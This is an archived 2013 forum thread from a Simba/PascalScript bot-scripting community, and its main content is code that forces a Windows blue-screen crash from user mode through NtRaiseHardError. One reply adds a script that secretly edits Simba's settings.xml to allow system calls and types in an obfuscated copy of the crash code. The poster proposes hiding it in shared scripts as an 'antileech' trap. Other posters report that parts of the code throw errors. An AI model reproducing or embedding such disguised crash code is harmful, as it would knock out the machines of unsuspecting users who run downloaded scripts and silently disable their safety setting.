SRL Archive - NOTA

BSOD with Simba :D


Brandon

2013-08-12 20:07:26

I'm told it is fine and I don't have to delete my thread or code.. So here it is for the everyone to see since it isn't harmful. No plugins or anything. Just pure PS and Simba.

You can BSOD someone from user mode (yes user mode – not kernel mode) with the following:

const
STATUS_LOG_HARD_ERROR = $4000001A;

type HARDERROR_RESPONSE_OPTION = (
OptionAbortRetryIgnore, OptionOk, OptionOkCancel, OptionRetryCancel, OptionYesNo, OptionYesNoCancel, OptionShutdownSystem
);

type HARDERROR_RESPONSE = (
ResponseReturnToCaller, ResponseNotHandled, ResponseAbort, ResponseCancel, ResponseIgnore, ResponseNo, ResponseOk, ResponseRetry, ResponseYes
);

type UNICODE_STRING = record
Length: ShortInt;
MaximumLength: ShortInt;
Buffer: ^WideString;
end;

Function NtRaiseHardError(NTStatus, NumberOfParameters: LongInt; UnicodeStringParameterMask: ^UNICODE_STRING; Parameters: ^Cardinal; HardErrorResponse: HARDERROR_RESPONSE_OPTION; var PHardErrorResponse: HARDERROR_RESPONSE): LongInt; external 'NtRaiseHardError@ntdll.dll stdcall';


var
Response: HARDERROR_RESPONSE;
begin
NtRaiseHardError(STATUS_LOG_HARD_ERROR, 0, 0, nil, OptionShutdownSystem, Response); //can also be done with: ZwRaiseHardError
end.

Obviously requires someone to have AllowSyscalls set to on. It isn't very hard to implement changing Simba's settings through a script to allowsyscalls either. Nothing fancy just some WINAPI stuff but pretty neat lol. The 5th parameter is actually what causes the BSOD by setting the value to "6".

Wetish

2013-08-12 20:53:18

We are back in action. :sasmokin:

grats

2013-08-12 21:16:45

I prefer my method of peeing on their ram

DrChill

2013-08-13 01:27:55

Will we be seeing a Linux port of this soon?

;)

Dgby714

2013-08-13 06:48:27

From: Brandon
Obviously requires someone to have AllowSyscalls set to on. It isn't very hard to implement changing Simba's settings through a script to allowsyscalls either. Nothing fancy just some WINAPI stuff but pretty neat lol. The 5th parameter is actually what causes the BSOD by setting the value to "6".


Would require directly modifying the Settings file and then restarting Simba, and running another script… "isn't very hard"?

Also… How are you even doing "Buffer: ^WideString;"….

PascalScript doesn't support poitners, and Lape doesn't support external.

Turpinator

2013-08-13 11:25:40

From: Dgby714
Would require directly modifying the Settings file and then restarting Simba, and running another script… "isn't very hard"?


program new;

procedure modifysett;
var
fid: integer;
sett: string;
begin
fid := openfile(apppath + 'settings.xml', true);
readfilestring(fid, sett, FileSize(FID));
closefile(fid);
fid := rewritefile(apppath + 'settings.xml', true);
writefilestring(fid, replace(sett, 'Calls>False</Allow', 'Calls>True</Allow', [rfReplaceAll]));
closefile(fid);
end;

procedure opensimbaloadandrun;
var
proclist : tsysprocarr;
i,w,h: integer;
targetset : boolean;
crashmescript: string;
begin
openwebpage(apppath + 'simba.exe');
wait(3000);
proclist := getProcesses;
repeat
for i:= 0 to length(proclist) - 1 do
if ((pos('Simba', proclist[i].title) > 0) and (pos('Untitled', proclist[i].title) > 0)) then
begin
SetTarget(proclist[i]);
targetset := true;
end;
wait(500);
until targetset
getclientdimensions(w,h);
movemouse(w/2, h/2);
clickmouse(w/2, h/2, 1);

keydown(17); //should be ctrl
keydown(41); // should be A, but i know its wrong
wait(50);
keyup(17);
keyup(41);

keydown(46); //should be delete, prolly wrong
wait(50);
keyup(46);
//could have made this a repeat send delete until no black in type area, but meh.

crashmescript := 'conSt StAtUS_log_hARD_eRROR = $4000001A; Type haRdErRor_RESPoNsE_OPTIoN = (OPTioNabOrTREtryIgnore, oPtiONOk, OPtionOKcancel, OPTionReTrycanCel, OPtiOnyEsNo, OPtiOnYesNocANcel, OPtioNShuTdownSyStEm); TYPe HaRdERROR_ReSPonse = (RESPonsEREtuRnToCAlleR, rEsponsenoThandled, rESpoNSeAbort, rEsponSECaNCel, rEsPoNsEIgnOrE, REspOnSenO, REspONsEOK, ReSpOnSeReTry, RespoNSEYes); Type uNICoDE_STRING = recorD LENgTh: SHorTINt; MAxiMuMLenGTH: ShorTinT; Buffer: ^ WideString; end; fUNcTIOn nTRaISeharDerroR(nTSTatUs, nuMbErOFPAraMeTeRS: longINt; UniCodestringParAmeterMaSK: ^ UnICODE_sTrInG; paRAMeTeRs: ^ carDINal; HardErRorreSPonSe: HARdERrOr_reSPONSE_OpTIon; Var PhardErRorREsponse: HARDerROr_REsPoNse): LONgInt; ExternAL #78#116#82#97#105#115#101#72#97#114#100#69#114#114#111#114#64#110#116#100#108#108#46#100#108#108#32#115#116#100#99#97#108#108; var REspOnsE: HaRDErroR_rESPOnse; bEgiN ntRaisEHardErrOr(STaTUs_lOg_HARd_ERrOR, ((6+7)+(8+7)-(2-6)+-32), ((7+8)-(6/6)-(1-5)+-18), NIl, OPtionShuTDownSYStem, RESpONse); end.'
sendkeys(crashmescript, 3, 1);

movemouse(188, 63);
clickmouse(188, 63, 1);
end;

begin
modifysett;
opensimbaloadandrun;
end.

(youll notice that the string is obfuscated, but thats not to hide anything, just so its all nicely on one line because im too lazy to do it myself).

I have not tested this, but it should work or something. not too sure on the exact usage of settarget and stuff.
i know for a fact those keydowns for ctrl+a are incorrect as i grabbed them off http://docs.villavu.com/simba/scriptref/mouseandkeyboard.html which i know is wrong. too lazy to fix.
;)


edit:
Did a little testing… and yes, those keydowns are incorrect as thought.
settings do get modified and stuff.
simba loads.
types out crash script and clicks run.
on run, debug window says Allowing API/SysCalls. so we know that its not hard to enable it.

Yet… Buffer: ^WideString; throws an error.

Dgby714

2013-08-13 22:58:00

From: Turpinator
Yet… Buffer: ^WideString; throws an error.


=P, It could also detect your first Simba if you hadn't saved this script.

Turpinator

2013-08-13 23:00:05

From: Dgby714
=P, It could also detect your first Simba if you hadn't saved this script.


Well this code would be added/implemented into an existing script and not made to be copy and pasted in. ie download a script and this is the ultimate antileech on there. :D (yes yes, i realize antileech is no bueno)

CynicRus

2013-08-14 03:37:35

From: Dgby714
=P, It could also detect your first Simba if you hadn't saved this script.


But PS have a pchar type:P

Dgby714

2013-08-14 09:19:49

From: CynicRus
But PS have a pchar type:P


Fake type, iirc it's just a integer (the size of a pointer).

Syntax

2014-09-02 08:15:33

I'm confused, does PS stand for Play Station?

Ian

2014-09-02 08:16:49

From: Syntax
I'm confused, does PS stand for Play Station?


PascalScript. Also this thread is over 1 year old.